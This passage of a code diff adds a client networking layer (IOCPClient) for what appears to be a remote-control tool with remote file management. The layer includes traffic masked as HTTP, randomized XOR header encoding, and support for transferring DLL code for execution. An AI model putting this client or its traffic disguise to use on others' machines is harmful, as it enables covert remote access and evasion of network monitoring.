UINT SendFilesList(LPCTSTR lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
UINT SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
void SearchFiles(LPCTSTR lpszSearchPath, LPCTSTR lpszSearchName);
|
||||
void SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPattern, LPBYTE &lpList, DWORD &dwOffset, DWORD &nBufferSize, int nDepth, DWORD &nResultCount, DWORD &dwLastSendTime);
|
||||
static DWORD WINAPI SearchThreadProc(LPVOID lpParam);
|
||||
HANDLE m_hSearchThread;
|
||||
volatile bool m_bSearching;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
11
client/IOCPBase.h
Normal file
11
client/IOCPBase.h
Normal file
@@ -0,0 +1,11 @@
|
||||
#include "common/commands.h"
|
||||
|
||||
class IOCPBase
|
||||
{
|
||||
public:
|
||||
virtual BOOL IsRunning() const = 0;
|
||||
virtual VOID RunEventLoop(const BOOL& bCondition) = 0;
|
||||
virtual CONNECT_ADDRESS* GetConnectionAddress() const = 0;
|
||||
};
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
746
client/IOCPClient.cpp
Normal file
746
client/IOCPClient.cpp
Normal file
@@ -0,0 +1,746 @@
|
||||
// IOCPClient.cpp: implementation of the IOCPClient class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#include <WS2tcpip.h>
|
||||
#else
|
||||
#include <netdb.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h> // For struct sockaddr_in
|
||||
#include <unistd.h> // For close()
|
||||
#include <cstring> // For memset()
|
||||
inline int WSAGetLastError()
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
#define USING_COMPRESS 1
|
||||
// 注意:Linux 不启用 USING_CTX,因为 libzstd.a (1.5.6) 与 zstd.h (1.5.7) 版本不匹配
|
||||
// 可能导致 ZSTD_CCtx 结构体 ABI 不兼容,引发堆损坏
|
||||
// 使用无状态 ZSTD_compress/ZSTD_decompress 更安全
|
||||
#endif
|
||||
#include "IOCPClient.h"
|
||||
#include <assert.h>
|
||||
#include <string>
|
||||
#if USING_ZLIB
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#else
|
||||
#include "common/zstd_wrapper.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib, "zstd/zstd.lib")
|
||||
#endif
|
||||
#define Z_FAILED(p) ZSTD_isError(p)
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
||||
#if USING_CTX
|
||||
#define compress(dest, destLen, source, sourceLen) zstd_compress_auto(m_Cctx, dest, *(destLen), source, sourceLen, 1024*1024)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
#else
|
||||
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifndef _WIN32
|
||||
BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
|
||||
{
|
||||
// 启用 TCP 保活选项
|
||||
int enable = 1;
|
||||
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
|
||||
Mprintf("Failed to enable TCP keep-alive\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包)
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPIDLE\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 设置 TCP_KEEPINTVL (5秒的重试间隔)
|
||||
int keepAliveInterval = 5; // 5秒
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPINTVL\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 设置 TCP_KEEPCNT (最多5次探测包后认为连接断开)
|
||||
int keepAliveProbes = 5;
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPCNT\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("TCP keep-alive settings applied successfully\n");
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect)
|
||||
{
|
||||
m_Manager = Manager;
|
||||
|
||||
m_DataProcess = dataProcess;
|
||||
|
||||
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
|
||||
}
|
||||
|
||||
|
||||
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
|
||||
const std::string& pubIP, void* main) : g_bExit(bExit)
|
||||
{
|
||||
// 首次构造时打印 ZSTD 版本信息,帮助诊断版本兼容性问题
|
||||
static bool versionLogged = false;
|
||||
if (!versionLogged) {
|
||||
versionLogged = true;
|
||||
unsigned ver = ZSTD_versionNumber();
|
||||
#if USING_CTX
|
||||
Mprintf("[IOCPClient] ZSTD version: %u.%u.%u, USING_CTX=1\n",
|
||||
ver / 10000, (ver / 100) % 100, ver % 100);
|
||||
#else
|
||||
Mprintf("[IOCPClient] ZSTD version: %u.%u.%u, USING_CTX=0\n",
|
||||
ver / 10000, (ver / 100) % 100, ver % 100);
|
||||
#endif
|
||||
}
|
||||
|
||||
m_main = main;
|
||||
int encoder = conn ? conn->GetHeaderEncType() : 0;
|
||||
m_sLocPublicIP = pubIP;
|
||||
m_ServerAddr = {};
|
||||
m_nHostPort = 0;
|
||||
m_Manager = NULL;
|
||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||
m_EncoderType = encoder;
|
||||
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||
#ifdef _WIN32
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
#endif
|
||||
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
m_hWorkThread = NULL;
|
||||
m_bWorkThread = S_STOP;
|
||||
|
||||
m_bIsRunning = TRUE;
|
||||
m_bConnected = FALSE;
|
||||
|
||||
m_exit_while_disconnect = exit_while_disconnect;
|
||||
m_ReconnectFunc = NULL;
|
||||
#if USING_CTX
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
m_Dctx = ZSTD_createDCtx();
|
||||
auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
if (Z_FAILED(n)) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
}
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_hashLog, 15);
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_chainLog, 16);
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_searchLog, 1);
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_windowLog, 19);
|
||||
#endif
|
||||
}
|
||||
|
||||
void IOCPClient::SetMultiThreadCompress(int threadNum)
|
||||
{
|
||||
#if USING_CTX
|
||||
BOOL failed = TRUE;
|
||||
if (threadNum > 1) {
|
||||
failed = Z_FAILED(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
|
||||
}
|
||||
if (failed) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
IOCPClient::~IOCPClient()
|
||||
{
|
||||
m_bIsRunning = FALSE;
|
||||
Disconnect();
|
||||
|
||||
if (m_hWorkThread!=NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
m_hWorkThread = NULL;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
WSACleanup();
|
||||
#endif
|
||||
|
||||
while (S_RUN == m_bWorkThread)
|
||||
Sleep(10);
|
||||
|
||||
m_bWorkThread = S_END;
|
||||
#if USING_CTX
|
||||
ZSTD_freeCCtx(m_Cctx);
|
||||
ZSTD_freeDCtx(m_Dctx);
|
||||
#endif
|
||||
m_masker->Destroy();
|
||||
SAFE_DELETE(m_Encoder);
|
||||
}
|
||||
|
||||
// 从域名获取IP地址
|
||||
std::string GetIPAddress(const char *hostName)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
struct sockaddr_in sa = { 0 };
|
||||
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||||
return hostName;
|
||||
}
|
||||
struct hostent *host = gethostbyname(hostName);
|
||||
#ifdef _DEBUG
|
||||
if (host == NULL) return "";
|
||||
Mprintf("此域名的IP类型为: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||
for (int i = 0; host->h_addr_list[i]; ++i)
|
||||
Mprintf("获取的第%d个IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||
#endif
|
||||
if (host == NULL || host->h_addr_list == NULL)
|
||||
return "";
|
||||
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||
#else
|
||||
struct addrinfo hints, * res;
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_INET; // IPv4
|
||||
hints.ai_socktype = SOCK_STREAM; // TCP socket
|
||||
|
||||
int status = getaddrinfo(hostName, nullptr, &hints, &res);
|
||||
if (status != 0) {
|
||||
Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
|
||||
return "";
|
||||
}
|
||||
|
||||
struct sockaddr_in* addr = reinterpret_cast<struct sockaddr_in*>(res->ai_addr);
|
||||
char ip[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
|
||||
|
||||
Mprintf("IP Address: %s \n", ip);
|
||||
|
||||
freeaddrinfo(res); // 不要忘记释放地址信息
|
||||
return ip;
|
||||
#endif
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
BOOL ConnectWithTimeout(SOCKET sock, SOCKADDR *addr, int timeout_sec=5)
|
||||
{
|
||||
// 临时设为非阻塞
|
||||
u_long mode = 1;
|
||||
ioctlsocket(sock, FIONBIO, &mode);
|
||||
|
||||
// 发起连接(非阻塞)
|
||||
int ret = connect(sock, addr, sizeof(*addr));
|
||||
if (ret == SOCKET_ERROR) {
|
||||
int err = WSAGetLastError();
|
||||
if (err != WSAEWOULDBLOCK && err != WSAEINPROGRESS) {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// 等待可写(代表连接完成或失败)
|
||||
fd_set writefds;
|
||||
FD_ZERO(&writefds);
|
||||
FD_SET(sock, &writefds);
|
||||
|
||||
timeval tv;
|
||||
tv.tv_sec = timeout_sec;
|
||||
tv.tv_usec = 0;
|
||||
|
||||
ret = select(0, NULL, &writefds, NULL, &tv);
|
||||
if (ret <= 0 || !FD_ISSET(sock, &writefds)) {
|
||||
return FALSE; // 超时或出错
|
||||
}
|
||||
|
||||
// 检查连接是否真正成功
|
||||
int error = 0;
|
||||
int len = sizeof(error);
|
||||
getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&error, &len);
|
||||
if (error != 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 改回阻塞模式
|
||||
mode = 0;
|
||||
ioctlsocket(sock, FIONBIO, &mode);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
if (szServerIP != NULL && uPort != 0) {
|
||||
SetServerAddress(szServerIP, uPort);
|
||||
}
|
||||
m_sCurIP = m_Domain.SelectIP();
|
||||
m_masker->SetServer(m_sCurIP.c_str());
|
||||
unsigned short port = m_nHostPort;
|
||||
|
||||
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //传输层
|
||||
|
||||
if (m_sClientSocket == SOCKET_ERROR) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
|
||||
if (!ConnectWithTimeout(m_sClientSocket,(SOCKADDR *)&m_ServerAddr)) {
|
||||
if (m_sClientSocket!=INVALID_SOCKET) {
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
#else
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
// 若szServerIP非数字开头,则认为是域名,需进行IP转换
|
||||
// 使用 inet_pton 替代 inet_addr (inet_pton 可以支持 IPv4 和 IPv6)
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 创建套接字
|
||||
if (m_sClientSocket == -1) {
|
||||
Mprintf("Failed to create socket\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 连接到服务器
|
||||
if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
|
||||
Mprintf("Connection failed\n");
|
||||
close(m_sClientSocket);
|
||||
m_sClientSocket = -1; // 标记套接字无效
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
|
||||
const int chOpt = 1; // True
|
||||
|
||||
// 启用 TCP_NODELAY 禁用 Nagle 算法,减少小包延迟
|
||||
int nodelay = 1;
|
||||
setsockopt(m_sClientSocket, IPPROTO_TCP, TCP_NODELAY, (char*)&nodelay, sizeof(nodelay));
|
||||
|
||||
// 增大发送缓冲区到 256KB
|
||||
int sendBufSize = 256 * 1024;
|
||||
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDBUF, (char*)&sendBufSize, sizeof(sendBufSize));
|
||||
|
||||
// Set KeepAlive 开启保活机制, 防止服务端产生死连接
|
||||
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
|
||||
(char *)&chOpt, sizeof(chOpt)) == 0) {
|
||||
#ifdef _WIN32
|
||||
// 设置超时详细信息
|
||||
tcp_keepalive klive;
|
||||
klive.onoff = 1; // 启用保活
|
||||
klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive
|
||||
klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply
|
||||
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
|
||||
NULL, 0,(unsigned long *)&chOpt,0,NULL);
|
||||
#else
|
||||
// 设置保活选项
|
||||
SetKeepAliveOptions(m_sClientSocket);
|
||||
#endif
|
||||
}
|
||||
m_bConnected = TRUE;
|
||||
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
|
||||
|
||||
if (m_hWorkThread == NULL) {
|
||||
#ifdef _WIN32
|
||||
m_bIsRunning = TRUE;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
m_bIsRunning = m_hWorkThread ? TRUE : FALSE;
|
||||
#else
|
||||
pthread_t id = 0;
|
||||
int ret = pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
if (ret == 0) {
|
||||
m_bWorkThread = S_RUN;
|
||||
m_bIsRunning = TRUE;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
{
|
||||
IOCPClient* This = (IOCPClient*)lParam;
|
||||
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||
fd_set fd;
|
||||
struct timeval tm;
|
||||
CBuffer m_CompressedBuffer;
|
||||
|
||||
while (This->IsRunning()) { // 没有退出,就一直陷在这个循环中
|
||||
if(!This->IsConnected()) {
|
||||
Sleep(50);
|
||||
continue;
|
||||
}
|
||||
FD_ZERO(&fd);
|
||||
FD_SET(This->m_sClientSocket, &fd);
|
||||
// Linux select() 会修改 timeval,必须每次重置
|
||||
tm.tv_sec = 2;
|
||||
tm.tv_usec = 0;
|
||||
#ifdef _WIN32
|
||||
int iRet = select(NULL, &fd, NULL, NULL, &tm);
|
||||
#else
|
||||
int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm);
|
||||
#endif
|
||||
if (iRet <= 0) {
|
||||
if (iRet == 0) Sleep(50);
|
||||
else {
|
||||
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||
This->Disconnect(); //接收错误处理
|
||||
m_CompressedBuffer.ClearBuffer();
|
||||
if(This->m_exit_while_disconnect)
|
||||
break;
|
||||
}
|
||||
} else if (iRet > 0) {
|
||||
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(This->m_hWorkThread);
|
||||
This->m_hWorkThread = NULL;
|
||||
This->m_bWorkThread = S_STOP;
|
||||
This->m_bIsRunning = FALSE;
|
||||
delete[] szBuffer;
|
||||
|
||||
return 0xDEAD;
|
||||
}
|
||||
|
||||
bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, int len, int flag)
|
||||
{
|
||||
int iReceivedLength = ReceiveData(szBuffer, len, flag);
|
||||
if (iReceivedLength <= 0) {
|
||||
int a = WSAGetLastError();
|
||||
Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a);
|
||||
Disconnect(); //接收错误处理
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
if (m_ReconnectFunc && !m_ReconnectFunc(m_Manager))
|
||||
return false;
|
||||
} else {
|
||||
szBuffer[iReceivedLength] = 0;
|
||||
//正确接收就调用OnRead处理,转到OnRead
|
||||
OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 带异常处理的数据处理逻辑:
|
||||
// 如果 f 执行时 没有触发系统异常(如访问冲突),返回 0
|
||||
// 如果 f 执行过程中 抛出了异常(比如空指针访问),将被 __except 捕获,返回异常码(如 0xC0000005 表示访问违规)
|
||||
int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
__try {
|
||||
if (f) f(manager, data, len);
|
||||
return 0;
|
||||
} __except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
return GetExceptionCode();
|
||||
}
|
||||
#else
|
||||
// 非 Windows 平台暂不支持 SEH 异常处理,直接调用
|
||||
if (f) f(manager, data, len);
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, ULONG ulLength)
|
||||
{
|
||||
try {
|
||||
assert (ulLength > 0);
|
||||
//以下接到数据进行解压缩
|
||||
m_CompressedBuffer->WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||
int FLAG_LENGTH = m_Encoder->GetFlagLen();
|
||||
int HDR_LENGTH = m_Encoder->GetHeadLen();
|
||||
|
||||
//检测数据是否大于数据头大小 如果不是那就不是正确的数据
|
||||
while (m_CompressedBuffer->GetBufferLength() > HDR_LENGTH) {
|
||||
// UnMask
|
||||
char* src = (char*)m_CompressedBuffer->GetBuffer();
|
||||
ULONG srcSize = m_CompressedBuffer->GetBufferLength();
|
||||
PkgMaskType maskType = MaskTypeUnknown;
|
||||
ULONG ret = TryUnMask(src, srcSize, maskType);
|
||||
// ULONG ret = m_masker->UnMask(src, srcSize);
|
||||
m_CompressedBuffer->Skip(ret);
|
||||
if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH)
|
||||
break;
|
||||
|
||||
char szPacketFlag[32] = {0};
|
||||
src = (char*)m_CompressedBuffer->GetBuffer();
|
||||
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
||||
//判断数据头
|
||||
HeaderEncType encType = HeaderEncUnknown;
|
||||
FlagType flagType = CheckHead(szPacketFlag, encType);
|
||||
if (flagType == FLAG_UNKNOWN) {
|
||||
// 打印诊断信息
|
||||
ULONG bufLen = m_CompressedBuffer->GetBufferLength();
|
||||
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: ", bufLen);
|
||||
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
|
||||
Mprintf("%02X ", (unsigned char)src[i]);
|
||||
}
|
||||
Mprintf("\n");
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
break;
|
||||
}
|
||||
|
||||
ULONG ulPackTotalLength = 0;
|
||||
CopyMemory(&ulPackTotalLength, m_CompressedBuffer->GetBuffer(FLAG_LENGTH), sizeof(ULONG));
|
||||
|
||||
// 包长度合理性检查:防止错误的长度值导致内存问题
|
||||
// 单个包不应超过 50MB,且至少要大于头部长度(支持大型DLL执行代码传输)
|
||||
const ULONG MAX_PACKET_SIZE = 50 * 1024 * 1024;
|
||||
if (ulPackTotalLength <= (ULONG)HDR_LENGTH || ulPackTotalLength > MAX_PACKET_SIZE) {
|
||||
Mprintf("[ERROR] Invalid packet length: %lu (HDR=%d)\n", ulPackTotalLength, HDR_LENGTH);
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
break;
|
||||
}
|
||||
|
||||
//--- 数据的大小正确判断
|
||||
ULONG len = m_CompressedBuffer->GetBufferLength();
|
||||
if (ulPackTotalLength && len >= ulPackTotalLength) {
|
||||
ULONG ulOriginalLength = 0;
|
||||
|
||||
m_CompressedBuffer->ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//读取各种头部 shine
|
||||
m_CompressedBuffer->ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||
m_CompressedBuffer->ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||
|
||||
// 解压后长度合理性检查
|
||||
if (ulOriginalLength == 0 || ulOriginalLength > MAX_PACKET_SIZE) {
|
||||
Mprintf("[ERROR] Invalid original length: %lu. Skipping packet.\n", ulOriginalLength);
|
||||
ULONG skipLen = ulPackTotalLength - HDR_LENGTH;
|
||||
if (skipLen > 0 && skipLen < len) {
|
||||
m_CompressedBuffer->Skip(skipLen);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
|
||||
const int bufSize = 512;
|
||||
BYTE buf1[bufSize], buf2[bufSize];
|
||||
PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
|
||||
PBYTE DeCompressedBuffer = ulOriginalLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
|
||||
|
||||
m_CompressedBuffer->ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||
m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag);
|
||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (Z_SUCCESS(iRet)) { //如果解压成功
|
||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||
if (ret) {
|
||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||
}
|
||||
} else {
|
||||
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
||||
// ReadBuffer 已消费当前包,不需要清空缓冲区
|
||||
}
|
||||
|
||||
if (CompressedBuffer != buf1)delete [] CompressedBuffer;
|
||||
if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
|
||||
} else {
|
||||
break; // received data is incomplete
|
||||
}
|
||||
}
|
||||
} catch(...) {
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
Mprintf("[ERROR] OnServerReceiving catch an error \n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// 向server发送数据,压缩操作比较耗时。
|
||||
// 关闭压缩开关时,SendWithSplit比较耗时。
|
||||
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask) //Hello
|
||||
{
|
||||
AUTO_TICK(100, std::to_string(ulOriginalLength));
|
||||
assert (ulOriginalLength > 0);
|
||||
|
||||
// 整个发送过程需要加锁,防止多线程(视频+音频)数据交错
|
||||
std::lock_guard<std::mutex> lock(m_Locker);
|
||||
{
|
||||
int cmd = BYTE(szBuffer[0]);
|
||||
//乘以1.001是以最坏的也就是数据压缩后占用的内存空间和原先一样 +12
|
||||
//防止缓冲区溢出// HelloWorld 10 22
|
||||
//数据压缩 压缩算法 微软提供
|
||||
//nSize = 436
|
||||
//destLen = 448
|
||||
#if USING_ZLIB
|
||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||
#else
|
||||
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
||||
#endif
|
||||
BYTE buf[1024];
|
||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||
if (Z_FAILED(iRet)) {
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
return FALSE;
|
||||
}
|
||||
#if !USING_ZLIB
|
||||
ulCompressedLength = iRet;
|
||||
#endif
|
||||
ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen();
|
||||
CBuffer m_WriteBuffer;
|
||||
HeaderFlag H = m_Encoder->GetHead();
|
||||
m_Encoder->Encode(CompressedBuffer, ulCompressedLength, (LPBYTE)H.data());
|
||||
m_WriteBuffer.WriteBuffer((PBYTE)H.data(), m_Encoder->GetFlagLen());
|
||||
|
||||
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
|
||||
|
||||
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
|
||||
|
||||
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
||||
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
|
||||
STOP_TICK;
|
||||
// 分块发送
|
||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd, mask);
|
||||
}
|
||||
}
|
||||
|
||||
// 5 2 // 2 2 1
|
||||
BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask)
|
||||
{
|
||||
AUTO_TICK(50, std::to_string(cmd));
|
||||
if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
|
||||
return FALSE;
|
||||
// Mask
|
||||
char* szBuffer = nullptr;
|
||||
ULONG ulLength = 0;
|
||||
(mask && srcSize <= ulSplitLength) ? mask->SetServer(m_sCurIP)->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd) :
|
||||
m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
|
||||
